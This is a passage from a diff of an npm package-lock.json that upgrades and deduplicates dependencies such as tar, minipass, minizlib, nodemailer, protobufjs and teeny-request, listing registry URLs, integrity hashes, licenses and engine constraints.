-      "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==",
-      "dev": true,
-      "engines": {
-        "node": ">=6"
-      }
-    },
     "node_modules/mimic-function": {
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/mimic-function/-/mimic-function-5.0.1.tgz",
@@ -19979,6 +19821,17 @@
         "node": "*"
       }
     },
+    "node_modules/minimatch/node_modules/brace-expansion": {
+      "version": "1.1.13",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.13.tgz",
+      "integrity": "sha512-9ZLprWS6EENmhEOpjCYW2c8VkmOvckIJZfkr7rBW6dObmfgJ/L1GpSYW5Hpo9lDz4D1+n0Ckz8rU7FwHDQiG/w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
     "node_modules/minimist": {
       "version": "1.2.8",
       "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
@@ -19988,11 +19841,12 @@
       }
     },
     "node_modules/minipass": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz",
-      "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==",
+      "version": "7.1.3",
+      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz",
+      "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==",
+      "license": "BlueOak-1.0.0",
       "engines": {
-        "node": ">=8"
+        "node": ">=16 || 14 >=14.17"
       }
     },
     "node_modules/minipass-collect": {
@@ -20007,15 +19861,6 @@
         "node": ">=16 || 14 >=14.17"
       }
     },
-    "node_modules/minipass-collect/node_modules/minipass": {
-      "version": "7.1.3",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz",
-      "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==",
-      "license": "BlueOak-1.0.0",
-      "engines": {
-        "node": ">=16 || 14 >=14.17"
-      }
-    },
     "node_modules/minipass-fetch": {
       "version": "5.0.2",
       "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-5.0.2.tgz",
@@ -20050,27 +19895,6 @@
         "url": "https://opencollective.com/express"
       }
     },
-    "node_modules/minipass-fetch/node_modules/minipass": {
-      "version": "7.1.3",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz",
-      "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==",
-      "license": "BlueOak-1.0.0",
-      "engines": {
-        "node": ">=16 || 14 >=14.17"
-      }
-    },
-    "node_modules/minipass-fetch/node_modules/minizlib": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-3.1.0.tgz",
-      "integrity": "sha512-KZxYo1BUkWD2TVFLr0MQoM8vUUigWD3LlD83a/75BqC+4qE0Hb1Vo5v1FgcfaNXvfXzr+5EhQ6ing/CaBijTlw==",
-      "license": "MIT",
-      "dependencies": {
-        "minipass": "^7.1.2"
-      },
-      "engines": {
-        "node": ">= 18"
-      }
-    },
     "node_modules/minipass-flush": {
       "version": "1.0.7",
       "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.7.tgz",
@@ -20131,47 +19955,16 @@
         "node": ">=8"
       }
     },
-    "node_modules/minipass-sized/node_modules/minipass": {
-      "version": "7.1.3",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz",
-      "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==",
-      "license": "BlueOak-1.0.0",
-      "engines": {
-        "node": ">=16 || 14 >=14.17"
-      }
-    },
     "node_modules/minizlib": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz",
-      "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==",
-      "dependencies": {
-        "minipass": "^3.0.0",
-        "yallist": "^4.0.0"
-      },
-      "engines": {
-        "node": ">= 8"
-      }
-    },
-    "node_modules/minizlib/node_modules/minipass": {
-      "version": "3.3.6",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
-      "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-3.1.0.tgz",
+      "integrity": "sha512-KZxYo1BUkWD2TVFLr0MQoM8vUUigWD3LlD83a/75BqC+4qE0Hb1Vo5v1FgcfaNXvfXzr+5EhQ6ing/CaBijTlw==",
+      "license": "MIT",
       "dependencies": {
-        "yallist": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/mkdirp": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
-      "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
-      "bin": {
-        "mkdirp": "bin/cmd.js"
+        "minipass": "^7.1.2"
       },
       "engines": {
-        "node": ">=10"
+        "node": ">= 18"
       }
     },
     "node_modules/mlly": {
@@ -20692,15 +20485,6 @@
         "node": "^20.17.0 || >=22.9.0"
       }
     },
-    "node_modules/node-gyp/node_modules/chownr": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/chownr/-/chownr-3.0.0.tgz",
-      "integrity": "sha512-+IxzY9BZOQd/XuYPRmrvEVjF/nqj5kgT4kEq7VofrDoM1MxoRjEWkrCC3EtLi59TVawxTAn+orJwFQcrqEN1+g==",
-      "license": "BlueOak-1.0.0",
-      "engines": {
-        "node": ">=18"
-      }
-    },
     "node_modules/node-gyp/node_modules/isexe": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/isexe/-/isexe-4.0.0.tgz",
@@ -20710,56 +20494,19 @@
         "node": ">=20"
       }
     },
-    "node_modules/node-gyp/node_modules/minipass": {
-      "version": "7.1.3",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz",
-      "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==",
-      "license": "BlueOak-1.0.0",
+    "node_modules/node-gyp/node_modules/nopt": {
+      "version": "9.0.0",
+      "resolved": "https://registry.npmjs.org/nopt/-/nopt-9.0.0.tgz",
+      "integrity": "sha512-Zhq3a+yFKrYwSBluL4H9XP3m3y5uvQkB/09CwDruCiRmR/UJYnn9W4R48ry0uGC70aeTPKLynBtscP9efFFcPw==",
+      "license": "ISC",
+      "dependencies": {
+        "abbrev": "^4.0.0"
+      },
+      "bin": {
+        "nopt": "bin/nopt.js"
+      },
       "engines": {
-        "node": ">=16 || 14 >=14.17"
-      }
-    },
-    "node_modules/node-gyp/node_modules/minizlib": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-3.1.0.tgz",
-      "integrity": "sha512-KZxYo1BUkWD2TVFLr0MQoM8vUUigWD3LlD83a/75BqC+4qE0Hb1Vo5v1FgcfaNXvfXzr+5EhQ6ing/CaBijTlw==",
-      "license": "MIT",
-      "dependencies": {
-        "minipass": "^7.1.2"
-      },
-      "engines": {
-        "node": ">= 18"
-      }
-    },
-    "node_modules/node-gyp/node_modules/nopt": {
-      "version": "9.0.0",
-      "resolved": "https://registry.npmjs.org/nopt/-/nopt-9.0.0.tgz",
-      "integrity": "sha512-Zhq3a+yFKrYwSBluL4H9XP3m3y5uvQkB/09CwDruCiRmR/UJYnn9W4R48ry0uGC70aeTPKLynBtscP9efFFcPw==",
-      "license": "ISC",
-      "dependencies": {
-        "abbrev": "^4.0.0"
-      },
-      "bin": {
-        "nopt": "bin/nopt.js"
-      },
-      "engines": {
-        "node": "^20.17.0 || >=22.9.0"
-      }
-    },
-    "node_modules/node-gyp/node_modules/tar": {
-      "version": "7.5.13",
-      "resolved": "https://registry.npmjs.org/tar/-/tar-7.5.13.tgz",
-      "integrity": "sha512-tOG/7GyXpFevhXVh8jOPJrmtRpOTsYqUIkVdVooZYJS/z8WhfQUX8RJILmeuJNinGAMSu1veBr4asSHFt5/hng==",
-      "license": "BlueOak-1.0.0",
-      "dependencies": {
-        "@isaacs/fs-minipass": "^4.0.0",
-        "chownr": "^3.0.0",
-        "minipass": "^7.1.2",
-        "minizlib": "^3.1.0",
-        "yallist": "^5.0.0"
-      },
-      "engines": {
-        "node": ">=18"
+        "node": "^20.17.0 || >=22.9.0"
       }
     },
     "node_modules/node-gyp/node_modules/which": {
@@ -20777,15 +20524,6 @@
         "node": "^20.17.0 || >=22.9.0"
       }
     },
-    "node_modules/node-gyp/node_modules/yallist": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/yallist/-/yallist-5.0.0.tgz",
-      "integrity": "sha512-YgvUTfwqyc7UXVMrB+SImsVYSmTS8X/tSrtdNZMImM+n7+QTriRXyXim0mBrTXNeqzVF0KWGgHPeiyViFFrNDw==",
-      "license": "BlueOak-1.0.0",
-      "engines": {
-        "node": ">=18"
-      }
-    },
     "node_modules/node-releases": {
       "version": "2.0.23",
       "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.23.tgz",
@@ -20794,9 +20532,9 @@
       "license": "MIT"
     },
     "node_modules/nodemailer": {
-      "version": "7.0.13",
-      "resolved": "https://registry.npmjs.org/nodemailer/-/nodemailer-7.0.13.tgz",
-      "integrity": "sha512-PNDFSJdP+KFgdsG3ZzMXCgquO7I6McjY2vlqILjtJd0hy8wEvtugS9xKRF2NWlPNGxvLCXlTNIae4serI7dinw==",
+      "version": "8.0.5",
+      "resolved": "https://registry.npmjs.org/nodemailer/-/nodemailer-8.0.5.tgz",
+      "integrity": "sha512-0PF8Yb1yZuQfQbq+5/pZJrtF6WQcjTd5/S4JOHs9PGFxuTqoB/icwuB44pOdURHJbRKX1PPoJZtY7R4VUoCC8w==",
       "license": "MIT-0",
       "engines": {
         "node": ">=6.0.0"
@@ -21322,6 +21060,35 @@
       "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-22.2.0.tgz",
       "integrity": "sha512-QBhVjcUa9W7Wwhm6DBFu6ZZ+1/t/oYxqc2tp81Pi41YNuJinbFRx8B133qVOrAaBbF7D/m0Et6f9/pZt9Rc+tg=="
     },
+    "node_modules/octokit-auth-probot/node_modules/@octokit/request-error": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
+      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^13.1.0",
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/octokit-auth-probot/node_modules/@octokit/request-error/node_modules/@octokit/openapi-types": {
+      "version": "24.2.0",
+      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-24.2.0.tgz",
+      "integrity": "sha512-9sIH3nSUttelJSXUrmGzl7QUBFul0/mB8HRYl3fOlgHbIWG+WnYDXU3v/2zMtAvuzZ/ed00Ei6on975FhBfzrg==",
+      "license": "MIT"
+    },
+    "node_modules/octokit-auth-probot/node_modules/@octokit/request-error/node_modules/@octokit/types": {
+      "version": "13.10.0",
+      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-13.10.0.tgz",
+      "integrity": "sha512-ifLaO34EbbPj0Xgro4G5lP5asESjwHracYJvVaPIyXMuiuXLlhic3S47cBdTb+jfODkTE5YtGCLt3Ay3+J97sA==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/openapi-types": "^24.2.0"
+      }
+    },
     "node_modules/octokit-auth-probot/node_modules/lru-cache": {
       "version": "10.4.3",
       "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz",
@@ -21418,21 +21185,6 @@
         "fn.name": "1.x.x"
       }
     },
-    "node_modules/onetime": {
-      "version": "5.1.2",
-      "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz",
-      "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==",
-      "dev": true,
-      "dependencies": {
-        "mimic-fn": "^2.1.0"
-      },
-      "engines": {
-        "node": ">=6"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
     "node_modules/open": {
       "version": "10.1.1",
       "resolved": "https://registry.npmjs.org/open/-/open-10.1.1.tgz",
@@ -21534,29 +21286,6 @@
         "node": ">= 0.8.0"
       }
     },
-    "node_modules/ora": {
-      "version": "7.0.1",
-      "resolved": "https://registry.npmjs.org/ora/-/ora-7.0.1.tgz",
-      "integrity": "sha512-0TUxTiFJWv+JnjWm4o9yvuskpEJLXTcng8MJuKd+SzAzp2o+OP3HWqNhB4OdJRt1Vsd9/mR0oyaEYlOnL7XIRw==",
-      "dev": true,
-      "dependencies": {
-        "chalk": "^5.3.0",
-        "cli-cursor": "^4.0.0",
-        "cli-spinners": "^2.9.0",
-        "is-interactive": "^2.0.0",
-        "is-unicode-supported": "^1.3.0",
-        "log-symbols": "^5.1.0",
-        "stdin-discarder": "^0.1.0",
-        "string-width": "^6.1.0",
-        "strip-ansi": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=16"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
     "node_modules/oracledb": {
       "version": "6.4.0",
       "resolved": "https://registry.npmjs.org/oracledb/-/oracledb-6.4.0.tgz",
@@ -21669,17 +21398,6 @@
         "node": ">=8"
       }
     },
-    "node_modules/p-throttle": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/p-throttle/-/p-throttle-5.1.0.tgz",
-      "integrity": "sha512-+N+s2g01w1Zch4D0K3OpnPDqLOKmLcQ4BvIFq3JC0K29R28vUOjWpO+OJZBNt8X9i3pFCksZJZ0YXkUGjaFE6g==",
-      "engines": {
-        "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
     "node_modules/p-timeout": {
       "version": "3.2.0",
       "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-3.2.0.tgz",
@@ -21861,9 +21579,9 @@
       }
     },
     "node_modules/path-expression-matcher": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.2.0.tgz",
-      "integrity": "sha512-DwmPWeFn+tq7TiyJ2CxezCAirXjFxvaiD03npak3cRjlP9+OjTmSy1EpIrEbh+l6JgUundniloMLDQ/6VTdhLQ==",
+      "version": "1.5.0",
+      "resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.5.0.tgz",
+      "integrity": "sha512-cbrerZV+6rvdQrrD+iGMcZFEiiSrbv9Tfdkvnusy6y0x0GKBXREFg/Y65GhIfm0tnLntThhzCnfKwp1WRjeCyQ==",
       "funding": [
         {
           "type": "github",
@@ -22594,6 +22312,12 @@
         "node": ">=18"
       }
     },
+    "node_modules/probot/node_modules/@octokit/openapi-types": {
+      "version": "24.2.0",
+      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-24.2.0.tgz",
+      "integrity": "sha512-9sIH3nSUttelJSXUrmGzl7QUBFul0/mB8HRYl3fOlgHbIWG+WnYDXU3v/2zMtAvuzZ/ed00Ei6on975FhBfzrg==",
+      "license": "MIT"
+    },
     "node_modules/probot/node_modules/@octokit/plugin-retry": {
       "version": "6.0.1",
       "resolved": "https://registry.npmjs.org/@octokit/plugin-retry/-/plugin-retry-6.0.1.tgz",
@@ -22626,6 +22350,29 @@
         "@octokit/core": "^5.0.0"
       }
     },
+    "node_modules/probot/node_modules/@octokit/request-error": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
+      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/types": "^13.1.0",
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
+      },
+      "engines": {
+        "node": ">= 18"
+      }
+    },
+    "node_modules/probot/node_modules/@octokit/request-error/node_modules/@octokit/types": {
+      "version": "13.10.0",
+      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-13.10.0.tgz",
+      "integrity": "sha512-ifLaO34EbbPj0Xgro4G5lP5asESjwHracYJvVaPIyXMuiuXLlhic3S47cBdTb+jfODkTE5YtGCLt3Ay3+J97sA==",
+      "license": "MIT",
+      "dependencies": {
+        "@octokit/openapi-types": "^24.2.0"
+      }
+    },
     "node_modules/probot/node_modules/commander": {
       "version": "12.1.0",
       "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz",
@@ -22782,22 +22529,23 @@
       }
     },
     "node_modules/proto3-json-serializer": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/proto3-json-serializer/-/proto3-json-serializer-2.0.2.tgz",
-      "integrity": "sha512-SAzp/O4Yh02jGdRc+uIrGoe87dkN/XtwxfZ4ZyafJHymd79ozp5VG5nyZ7ygqPM5+cpLDjjGnYFUkngonyDPOQ==",
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/proto3-json-serializer/-/proto3-json-serializer-3.0.4.tgz",
+      "integrity": "sha512-E1sbAYg3aEbXrq0n1ojJkRHQJGE1kaE/O6GLA94y8rnJBfgvOPTOd1b9hOceQK1FFZI9qMh1vBERCyO2ifubcw==",
       "license": "Apache-2.0",
       "dependencies": {
-        "protobufjs": "^7.2.5"
+        "protobufjs": "^7.4.0"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18"
       }
     },
     "node_modules/protobufjs": {
-      "version": "7.4.0",
-      "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.4.0.tgz",
-      "integrity": "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw==",
+      "version": "7.5.4",
+      "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.5.4.tgz",
+      "integrity": "sha512-CvexbZtbov6jW2eXAvLukXjXUW1TzFaivC46BpWc/3BpcCysb5Vffu+B3XHMm8lVEuy2Mm4XGex8hBSg1yapPg==",
       "hasInstallScript": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "@protobufjs/aspromise": "^1.1.2",
         "@protobufjs/base64": "^1.1.2",
@@ -22892,15 +22640,6 @@
         "url": "https://github.com/sponsors/ljharb"
       }
     },
-    "node_modules/querystring": {
-      "version": "0.2.0",
-      "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz",
-      "integrity": "sha512-X/xY82scca2tau62i9mDyU9K+I+djTMUsvwf7xnUX5GLvVzgJybOJf4Y6o9Zx3oJK/LSXg5tTZBjwzqVPaPO2g==",
-      "deprecated": "The querystring API is considered Legacy. new code should use the URLSearchParams API instead.",
-      "engines": {
-        "node": ">=0.4.x"
-      }
-    },
     "node_modules/queue-lit": {
       "version": "1.5.2",
       "resolved": "https://registry.npmjs.org/queue-lit/-/queue-lit-1.5.2.tgz",
@@ -23275,16 +23014,6 @@
         "url": "https://github.com/sponsors/isaacs"
       }
     },
-    "node_modules/react-email/node_modules/minipass": {
-      "version": "7.1.2",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz",
-      "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==",
-      "dev": true,
-      "license": "ISC",
-      "engines": {
-        "node": ">=16 || 14 >=14.17"
-      }
-    },
     "node_modules/react-email/node_modules/onetime": {
       "version": "7.0.0",
       "resolved": "https://registry.npmjs.org/onetime/-/onetime-7.0.0.tgz",
@@ -23625,6 +23354,7 @@
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
       "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -23700,22 +23430,6 @@
         "url": "https://github.com/privatenumber/resolve-pkg-maps?sponsor=1"
       }
     },
-    "node_modules/restore-cursor": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-4.0.0.tgz",
-      "integrity": "sha512-I9fPXU9geO9bHOt9pHHOhOkYerIMsmVaWB0rA2AI9ERh/+x/i7MV5HKBNrg+ljO5eoPVgCcnFuRjJ9uH6I/3eg==",
-      "dev": true,
-      "dependencies": {
-        "onetime": "^5.1.0",
-        "signal-exit": "^3.0.2"
-      },
-      "engines": {
-        "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
     "node_modules/ret": {
       "version": "0.4.3",
       "resolved": "https://registry.npmjs.org/ret/-/ret-0.4.3.tgz",
@@ -23734,17 +23448,16 @@
       }
     },
     "node_modules/retry-request": {
-      "version": "7.0.2",
-      "resolved": "https://registry.npmjs.org/retry-request/-/retry-request-7.0.2.tgz",
-      "integrity": "sha512-dUOvLMJ0/JJYEn8NrpOaGNE7X3vpI5XlZS/u0ANjqtcZVKnIxP7IgCFwrKTxENw29emmwug53awKtaMm4i9g5w==",
+      "version": "8.0.2",
+      "resolved": "https://registry.npmjs.org/retry-request/-/retry-request-8.0.2.tgz",
+      "integrity": "sha512-JzFPAfklk1kjR1w76f0QOIhoDkNkSqW8wYKT08n9yysTmZfB+RQ2QoXoTAeOi1HD9ZipTyTAZg3c4pM/jeqgSw==",
       "license": "MIT",
       "dependencies": {
-        "@types/request": "^2.48.8",
         "extend": "^3.0.2",
-        "teeny-request": "^9.0.0"
+        "teeny-request": "^10.0.0"
       },
       "engines": {
-        "node": ">=14"
+        "node": ">=18"
       }
     },
     "node_modules/reusify": {
@@ -23970,6 +23683,7 @@
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz",
       "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "call-bound": "^1.0.2",
@@ -24971,15 +24685,6 @@
         "node": "^20.17.0 || >=22.9.0"
       }
     },
-    "node_modules/ssri/node_modules/minipass": {
-      "version": "7.1.3",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz",
-      "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==",
-      "license": "BlueOak-1.0.0",
-      "engines": {
-        "node": ">=16 || 14 >=14.17"
-      }
-    },
     "node_modules/stack-trace": {
       "version": "0.0.10",
       "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.10.tgz",
@@ -25016,21 +24721,6 @@
       "dev": true,
       "license": "MIT"
     },
-    "node_modules/stdin-discarder": {
-      "version": "0.1.0",
-      "resolved": "https://registry.npmjs.org/stdin-discarder/-/stdin-discarder-0.1.0.tgz",
-      "integrity": "sha512-xhV7w8S+bUwlPTb4bAOUQhv8/cSS5offJuX8GQGq32ONF0ZtDWKfkdomM3HMRA+LhX6um/FZ0COqlwsjD53LeQ==",
-      "dev": true,
-      "dependencies": {
-        "bl": "^5.0.0"
-      },
-      "engines": {
-        "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
     "node_modules/stream-events": {
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/stream-events/-/stream-events-1.0.5.tgz",
@@ -25069,23 +24759,6 @@
         "safe-buffer": "~5.2.0"
       }
     },
-    "node_modules/string-width": {
-      "version": "6.1.0",
-      "resolved": "https://registry.npmjs.org/string-width/-/string-width-6.1.0.tgz",
-      "integrity": "sha512-k01swCJAgQmuADB0YIc+7TuatfNvTBVOoaUWJjTB9R4VJzR5vNWzf5t42ESVZFPS8xTySF7CAdV4t/aaIm3UnQ==",
-      "dev": true,
-      "dependencies": {
-        "eastasianwidth": "^0.2.0",
-        "emoji-regex": "^10.2.1",
-        "strip-ansi": "^7.0.1"
-      },
-      "engines": {
-        "node": ">=16"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
     "node_modules/string-width-cjs": {
       "name": "string-width",
       "version": "4.2.3",
@@ -25243,9 +24916,9 @@
       "license": "MIT"
     },
     "node_modules/strnum": {
-      "version": "2.2.2",
-      "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.2.2.tgz",
-      "integrity": "sha512-DnR90I+jtXNSTXWdwrEy9FakW7UX+qUZg28gj5fk2vxxl7uS/3bpI4fjFYVmdK9etptYBPNkpahuQnEwhwECqA==",
+      "version": "2.2.3",
+      "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.2.3.tgz",
+      "integrity": "sha512-oKx6RUCuHfT3oyVjtnrmn19H1SiCqgJSg+54XqURKp5aCMbrXrhLjRN9TjuwMjiYstZ0MzDrHqkGZ5dFTKd+zg==",
       "funding": [
         {
           "type": "github",
@@ -25439,19 +25112,28 @@
       }
     },
     "node_modules/tar": {
-      "version": "6.2.1",
-      "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz",
-      "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==",
-      "dependencies": {
-        "chownr": "^2.0.0",
-        "fs-minipass": "^2.0.0",
-        "minipass": "^5.0.0",
-        "minizlib": "^2.1.1",
-        "mkdirp": "^1.0.3",
-        "yallist": "^4.0.0"
+      "version": "7.5.13",
+      "resolved": "https://registry.npmjs.org/tar/-/tar-7.5.13.tgz",
+      "integrity": "sha512-tOG/7GyXpFevhXVh8jOPJrmtRpOTsYqUIkVdVooZYJS/z8WhfQUX8RJILmeuJNinGAMSu1veBr4asSHFt5/hng==",
+      "license": "BlueOak-1.0.0",
+      "dependencies": {
+        "@isaacs/fs-minipass": "^4.0.0",
+        "chownr": "^3.0.0",
+        "minipass": "^7.1.2",
+        "minizlib": "^3.1.0",
+        "yallist": "^5.0.0"
       },
       "engines": {
-        "node": ">=10"
+        "node": ">=18"
+      }
+    },
+    "node_modules/tar/node_modules/yallist": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/yallist/-/yallist-5.0.0.tgz",
+      "integrity": "sha512-YgvUTfwqyc7UXVMrB+SImsVYSmTS8X/tSrtdNZMImM+n7+QTriRXyXim0mBrTXNeqzVF0KWGgHPeiyViFFrNDw==",
+      "license": "BlueOak-1.0.0",
+      "engines": {
+        "node": ">=18"
       }
     },
     "node_modules/tarn": {
@@ -25493,25 +25175,33 @@
       }
     },
     "node_modules/teeny-request": {
-      "version": "9.0.0",
-      "resolved": "https://registry.npmjs.org/teeny-request/-/teeny-request-9.0.0.tgz",
-      "integrity": "sha512-resvxdc6Mgb7YEThw6G6bExlXKkv6+YbuzGg9xuXxSgxJF7Ozs+o8Y9+2R3sArdWdW8nOokoQb1yrpFB0pQK2g==",
+      "version": "10.1.2",
+      "resolved": "https://registry.npmjs.org/teeny-request/-/teeny-request-10.1.2.tgz",
+      "integrity": "sha512-Xj0ZAQ0CeuQn6UxCDPLbFRlgcSTUEyO3+wiepr2grjIjyL/lMMs1Z4OwXn8kLvn/V1OuaEP0UY7Na6UDNNsYrQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "http-proxy-agent": "^5.0.0",
-        "https-proxy-agent": "^5.0.0",
-        "node-fetch": "^2.6.9",
-        "stream-events": "^1.0.5",
-        "uuid": "^9.0.0"
+        "http-proxy-agent": "^7.0.0",
